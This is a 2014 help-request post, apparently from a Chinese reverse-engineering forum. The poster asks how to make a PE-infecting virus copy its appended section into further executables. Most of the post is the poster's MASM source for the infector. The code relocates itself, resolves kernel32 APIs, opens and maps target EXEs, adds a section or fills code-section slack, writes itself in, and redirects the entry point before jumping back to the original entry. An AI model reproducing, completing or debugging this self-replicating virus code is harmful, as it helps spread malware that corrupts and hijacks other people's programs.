首页
社区
课程
招聘
[旧帖] [求助]请问pe感染填加后的节还有appencode开始点? 0.00雪花
发表于: 2014-7-14 15:11 1086

[旧帖] [求助]请问pe感染填加后的节还有appencode开始点? 0.00雪花

王cb 活跃值
11
2014-7-14 15:11
1086
【求助】请问pe感染填加后的节还有appencode开始点?
一个pe感染文件病毒,我已经让给实现了到了感染节,从kernel,user32.dll里面找到函数,我想让添加到pe感染文件的节也具有母体的功能(母体死了它还能继续),但是我母体中给pe感染文件添加的节是从appencode-appenend为起点和终点的,pe感染的host能做母体的功能,发现他的目标能感染,但是无效,估计是host给他感染目标添加节的位置不对,我用w32dasm查看入口点有变化,但是不是指向新添加的节,所有它变成了无效程序,最后请问大神感染的host如何使用它感染节的起点和终点,作为新的感染节去感染其他的exe,也就是复制自己的感染节去感染其他exe

;

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

APPEND_CODE        equ        this byte
include                _GetKernel.asm
;********************************************************************

_Getpsfl        proc        _lpFile,_lpPeHead,_dwSize,szFileName1
                local        @szNewFile[MAX_PATH]:byte
                local        @hFile,@dwTemp,@dwEntry,@lpMemory
                local        @dwAddCodeBase,@dwAddCodeFile
                local        @szBuffer[256]:byte
                LOCAL @dwReturn
                local @ebx :dword
                pushad
                mov        @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
                call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
                push ebx
                ;mov @ebx ,ebx
                pop @ebx
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
                assume        fs:nothing
                push        ebp
                lea        eax,[ebx + offset _Ret]
                push        eax
                lea        eax,[ebx + offset _SEHHandler]
                push        eax
                push        fs:[0]
                mov        fs:[0],esp
               
;********************************************************************

        ;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
               
;                lea        ecx,@szNewFile
;                mov        byte ptr [ecx+eax-4],0
                ;invoke        lstrcat,addr @szNewFile,addr szExt
                ;invoke        CopyFile,addr szFileName,addr @szNewFile,FALSE
                mov ecx ,@ebx
                invoke        [ecx+_CreateFileA], szFileName1,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
                        FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
                .if        eax ==        INVALID_HANDLE_VALUE
                        ;invoke        SetWindowText,hWinEdit,addr szErrCreate
                        jmp        _Ret
                .endif
                mov        @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
                mov        esi,_lpPeHead
                assume        esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
                invoke        [ebx+_GlobalAlloc],GPTR,[esi].OptionalHeader.SizeOfHeaders
                mov        @lpMemory,eax
                mov        edi,eax
                invoke        [ebx+_RtlMoveMemory],edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
                add        edi,esi
                sub        edi,_lpFile
             ;    mov  edi ,esi
                movzx        eax,[esi].FileHeader.NumberOfSections
                dec        eax
                mov        ecx,sizeof IMAGE_SECTION_HEADER
                mul        ecx

                mov        edx,edi
                add        edx,eax
                add        edx,sizeof IMAGE_NT_HEADERS
                mov        ebx,edx
                add        ebx,sizeof IMAGE_SECTION_HEADER
                assume        ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
                pushad
                mov        edi,ebx
                xor        eax,eax
                mov        ecx,IMAGE_SECTION_HEADER
                repz        scasb
                popad
                .if        ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
                        xor        eax,eax
                        mov        ebx,edi
                        add        ebx,sizeof IMAGE_NT_HEADERS
                        .while        ax <=        [esi].FileHeader.NumberOfSections
                                mov        ecx,[ebx].SizeOfRawData
                                .if        ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
                                        sub        ecx,[ebx].Misc.VirtualSize
                                        .if        ecx > offset APPEND_CODE_END-offset APPEND_CODE
                                                or        [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
                                                jmp        @F
                                        .endif
                                .endif
                                add        ebx,IMAGE_SECTION_HEADER
                                inc        ax
                        .endw
                               mov ecx ,@ebx
                        invoke        [ecx+_CloseHandle],@hFile
                        ;invoke        DeleteFile,addr @szNewFile
                        ;invoke        SetWindowText,hWinEdit,addr szErrNoRoom
                        jmp        _Ret
                        @@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
                        mov        eax,[ebx].VirtualAddress
                        add        eax,[ebx].Misc.VirtualSize
                        mov        @dwAddCodeBase,eax
                        mov        eax,[ebx].PointerToRawData
                        add        eax,[ebx].Misc.VirtualSize
                        mov        @dwAddCodeFile,eax
                        add        [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
                         mov edx ,@ebx
                        invoke        [edx+_SetFilePointer],@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
                        mov        ecx,offset APPEND_CODE_END-offset APPEND_CODE
                         mov edx ,@ebx
                        invoke        [edx+_WriteFile],@hFile,offset APPEND_CODE, ecx,addr @dwTemp,NULL
                .else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
                        inc        [edi].FileHeader.NumberOfSections
                        push        edx
                        @@:
                        mov        eax,[edx].PointerToRawData
;********************************************************************
; 当最后一个节是未初始化数据时,PointerToRawData和SizeOfRawData等于0
; 这时应该取前一个节的PointerToRawData和SizeOfRawData数据
;********************************************************************
                        .if        ! eax
                                sub        edx,sizeof IMAGE_SECTION_HEADER
                                jmp        @B
                        .endif
                        add        eax,[edx].SizeOfRawData
                        pop        edx
                        mov        [ebx].PointerToRawData,eax
                        mov        ecx,offset APPEND_CODE_END-offset APPEND_CODE
                        invoke        _Align,ecx,[esi].OptionalHeader.FileAlignment
                        mov        [ebx].SizeOfRawData,eax
                        invoke        _Align,ecx,[esi].OptionalHeader.SectionAlignment
                        add        [edi].OptionalHeader.SizeOfCode,eax        ;修正SizeOfCode
                        add        [edi].OptionalHeader.SizeOfImage,eax        ;修正SizeOfImage
                        invoke        _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
                        add        eax,[edx].VirtualAddress
                        mov        [ebx].VirtualAddress,eax
                        mov        [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
                        mov        [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
                                or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
                                 mov ecx ,@ebx
                        invoke        [ecx+_lstrcpy],addr [ebx].Name1,addr [ecx+szMySection]
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
                        mov ecx ,@ebx
                        invoke        [ecx+_SetFilePointer],@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
                        mov ecx ,@ebx
                        invoke        [ecx+_WriteFile],@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
                                addr @dwTemp,NULL
                        mov        eax,[ebx].PointerToRawData
                        add        eax,[ebx].SizeOfRawData
                        mov ecx ,@ebx
                        invoke        [ecx+_SetFilePointer],@hFile,eax,NULL,FILE_BEGIN
                          mov ecx ,@ebx
                        invoke        [ecx+_SetEndOfFile],@hFile
;********************************************************************
                        push        [ebx].VirtualAddress        ;eax = 新加代码的基地址
                        pop        @dwAddCodeBase
                        push        [ebx].PointerToRawData
                        pop        @dwAddCodeFile
                .endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
                mov        eax,@dwAddCodeBase
                add        eax,(offset _NewEntry-offset APPEND_CODE)
                mov     ebx,[esi].OptionalHeader.AddressOfEntryPoint
                mov        [edi].OptionalHeader.AddressOfEntryPoint,eax
                mov ecx ,@ebx
                invoke        [ecx+_SetFilePointer],@hFile,0,NULL,FILE_BEGIN
                mov ecx ,@ebx
                invoke        [ecx+_WriteFile],@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
                        addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
        ;        push        [esi].OptionalHeader.AddressOfEntryPoint
                push        ebx
                pop        @dwEntry
                mov        eax,@dwAddCodeBase
                add        eax,(offset _ToOldEntry-offset APPEND_CODE+5)
                sub        @dwEntry,eax
                mov        ecx,@dwAddCodeFile
                add        ecx,(offset _dwOldEntry-offset APPEND_CODE)
                mov edx ,@ebx
                invoke        [edx+_SetFilePointer],@hFile,ecx,NULL,FILE_BEGIN
                        mov edx ,@ebx
                invoke        [edx+_WriteFile],@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
                mov ecx ,@ebx
                invoke        [ ecx +_GlobalFree],@lpMemory
                    mov ecx ,@ebx
                invoke        [ ecx +_CloseHandle],@hFile
                ;invoke        wsprintf,addr @szBuffer,Addr szSuccess,szFileName1
                ;invoke MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK
               
                ;invoke        SetWindowText,hWinEdit,addr @szBuffer

        mov        @dwReturn,eax
                       
;********************************************************************
_Ret:
                pop        fs:[0]
                add        esp,0ch
                assume        esi:nothing
                popad
                mov        eax,@dwReturn
                ret

_Getpsfl        endp
;********************************************************************
;********************************************************************
_Goprocs                 proc        @szFileName2
                local        @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwReturn
               
                pushad
                mov        @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
                call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
               
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
                assume        fs:nothing
                push        ebp
                lea        eax,[ebx + offset _PageError]
                push        eax
                lea        eax,[ebx + offset _SEHHandler]
                push        eax
                push        fs:[0]
                mov        fs:[0],esp
               
;********************************************************************

      
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
               
                invoke        [ebx+_CreateFileA],@szFileName2,GENERIC_READ,FILE_SHARE_READ or \
                        FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
                .if        eax !=        INVALID_HANDLE_VALUE
                        mov        @hFile,eax
                        invoke        [ebx+_GetFileSize],eax,NULL
                        mov        @dwFileSize,eax
                        .if        eax
                       
                                invoke        [ebx+_CreateFileMappingA],@hFile,NULL,PAGE_READONLY,0,0,NULL
                                .if        eax
                                        mov        @hMapFile,eax
                                        invoke        [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
                                        .if        eax
                                                mov        @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
                                               
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
                                                mov        esi,@lpMemory
                                                assume        esi:ptr IMAGE_DOS_HEADER
                                                .if        [esi].e_magic != IMAGE_DOS_SIGNATURE
                                                        jmp        _ErrFormat
                                                .endif
                                                add        esi,[esi].e_lfanew
                                                assume        esi:ptr IMAGE_NT_HEADERS
                                                .if        [esi].Signature != IMAGE_NT_SIGNATURE
                                                        jmp        _ErrFormat
                                                .endif
                                               
                                                invoke        _Getpsfl,@lpMemory,esi,@dwFileSize, @szFileName2
                                                ;invoke        [ebx+_MessageBox],NULL, @szFileName2,offset szCaption,MB_OK
                                                jmp        _ErrorExit
                        _ErrFormat:
                                                invoke        [ebx+_MessageBox],NULL,addr szErrFormat,NULL,MB_OK
_ErrorExit:
                                               
                                                invoke        [ebx+_UnmapViewOfFile],@lpMemory
                                        .endif
                                        invoke        [ebx+_CloseHandle],@hMapFile
                                .endif
                                invoke        [ebx+_CloseHandle],@hFile
                        .endif
                .endif
                ;;ret
          mov @dwReturn ,1
;********************************************************************
_PageError:
                pop        fs:[0]
                add        esp,0ch
                assume        esi:nothing
                popad
                mov        eax,@dwReturn
                ret

_Goprocs        endp
;********************************************************************
_NewEntry:

        call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
                invoke        _GetKernelBase,[esp]        ;获取Kernel32.dll基址
                .if        ! eax
                        ret
                .endif
                mov        [ebx+hDllKernel32],eax        ;获取GetProcAddress入口
                lea        eax,[ebx+szGetProcAddress]
                invoke        _GetApi,[ebx+hDllKernel32],eax
                .if        ! eax
                        ret
                .endif
                mov        [ebx+_GetProcAddress],eax
                lea        eax,[ebx+szLoadLibrary]        ;获取LoadLibrary入口
                invoke        [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
                mov        [ebx+_LoadLibrary],eax
                lea        eax,[ebx+szUser32]        ;获取User32.dll基址
                invoke        [ebx+_LoadLibrary],eax
                mov        [ebx+hDllUser32],eax
                lea eax,[ebx+szRtlMoveMemory   ]
               
                ;invoke _Getfunc,[ebx+hDllKernel32],dword ptr[ebx+szRtlMoveMemory   ]
                invoke _Getfunck,eax
                mov        [ebx+_RtlMoveMemory ],eax
                lea eax,[ebx+szCreateFileA ]                ;找creatfile
                invoke _Getfunck,eax
                mov        [ebx+_CreateFileA ],eax
                lea eax,[ebx+szGlobalAlloc]
                invoke _Getfunck,eax
                mov        [ebx+_GlobalAlloc ],eax
                lea eax,[ebx+szSetFilePointer]
                invoke _Getfunck,eax
                mov        [ebx+_SetFilePointer ],eax
                lea eax,[ebx+szWriteFile]
                invoke _Getfunck,eax
                mov        [ebx+_WriteFile ],eax
                lea eax,[ebx+szSetEndOfFile]
                invoke _Getfunck,eax
                mov        [ebx+_SetEndOfFile],eax
                lea eax,[ebx+szGlobalFree]
                invoke _Getfunck,eax
                mov        [ebx+_GlobalFree ],eax
                lea eax,[ebx+szCloseHandle ]
                invoke _Getfunck,eax
                mov        [ebx+_CloseHandle  ],eax
                lea eax,[ebx+szGetFileSize]
                invoke _Getfunck,eax
                mov        [ebx+_GetFileSize ],eax
                lea eax,[ebx+szMapViewOfFile]
                invoke _Getfunck,eax
                mov        [ebx+_MapViewOfFile ],eax
                lea eax,[ebx+szUnmapViewOfFile]
                invoke _Getfunck,eax
                mov        [ebx+_UnmapViewOfFile],eax
               
       
               
                        lea        eax,[ebx+szCreateFileMappingA]                ;找szCreateFileMappingA
                        invoke _Getfunck,eax
                        mov        [ebx+_CreateFileMappingA ],eax
                        lea        eax,[ebx+szlstrcpy]        ;找szlstrcpy
                        invoke _Getfunck,eax
                mov        [ebx+_lstrcpy ],eax
                invoke        [ebx+_lstrcpy ],addr [ebx+ szText],addr [ebx+szText2]
                lea        eax,[ebx+szMessageBox]        ;获取MessageBox入口
                invoke        [ebx+_GetProcAddress],[ebx+hDllUser32],eax
                mov        [ebx+_MessageBox],eax
                   
                invoke _Goprocs,addr [ebx+cpan]
                .if eax == 1
                lea        ecx,[ebx+szText]
                lea        eax,[ebx+szCaption]
                invoke        [ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
                .if        eax !=        IDYES
                        ret
                .endif
                .endif
       

_ToOldEntry:
                db        0e9h        ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
                dd        ?        ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END        equ        this byte

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//